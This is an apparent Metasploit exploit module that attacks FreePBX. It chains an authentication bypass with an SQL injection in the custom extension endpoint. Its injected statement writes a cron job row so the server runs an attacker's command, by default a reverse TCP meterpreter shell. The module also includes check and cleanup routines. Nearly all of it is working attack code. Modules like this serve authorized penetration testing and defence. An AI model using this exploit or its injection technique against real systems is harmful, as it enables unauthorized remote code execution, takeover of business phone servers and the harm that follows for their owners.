## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'FreePBX endpoint SQLi to RCE', 'Description' => %q{ FreePBX is an open-source IP PBX management tool that provides a modern phone system for businesses that use VoIP to make and receive phone calls. Versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61675. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter CVE describes multiple SQL injections; this module exploits the SQL injection in the custom extension component. The module chains these vulnerabilities into an unauthenticated SQL injection attack and gains remote code execution by injecting an SQL record into th cron_jobs table. The cron_jobs database contains cron tasks that FreePBX executes in the context of the operating system. }, 'License' => MSF_LICENSE, 'Author' => [ 'Noah King', # research 'msutovsky-r7', # module ], 'References' => [ [ 'CVE', '2025-66039'], # Authentication Bypass [ 'CVE', '2025-61675'], # SQL injections [ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/'] ], 'Platform' => ['linux'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Unix Command', { 'DefaultOptions' => { 'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', 'WfsDelay' => 70 # cronjob may take up to a minute to start } } ] ], 'Privileged' => false, 'DisclosureDate' => '2025-12-11', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [true, 'A valid FreePBX user']), ] ) end def sqli_custom_extension(payload) send_request_cgi({ 'uri' => normalize_uri('admin', 'config.php'), 'method' => 'POST', 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) }, 'vars_get' => { 'display' => 'endpoint', 'view' => 'customExt' }, 'vars_post' => { 'id' => payload } }) end def check res = sqli_custom_extension(%(')) if res&.code == 500 return Exploit::CheckCode::Vulnerable('Detected SQL injection with authentication bypass') end Exploit::CheckCode::Safe('No SQL injection detected, target is patched') end def exploit @job_name = Rex::Text.rand_text_alpha(8..12) rce_payload = 'INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order)' rce_payload += " VALUES ('sysadmin','#{@job_name}','#{payload.encoded}',NULL,'* * * * *',30,1,1)" res = sqli_custom_extension(%(1';#{rce_payload} -- )) if res&.code == 401 print_good("Created cronjob with job name: '#{@job_name}'") print_status('Waiting for cronjob to trigger...') else fail_with(Failure::PayloadFailed, 'Cronjob was not created.') end end def cleanup super return unless @job_name # Remove the created cronjob res = sqli_custom_extension(%('; DELETE FROM cron_jobs WHERE jobname='#{@job_name}' -- )) print_status('Attempting to perform cleanup') if res&.code == 401 print_good('Cronjob removed.') else print_bad("Cronjob #{@job_name} not removed, please perform manual cleanup!") end end end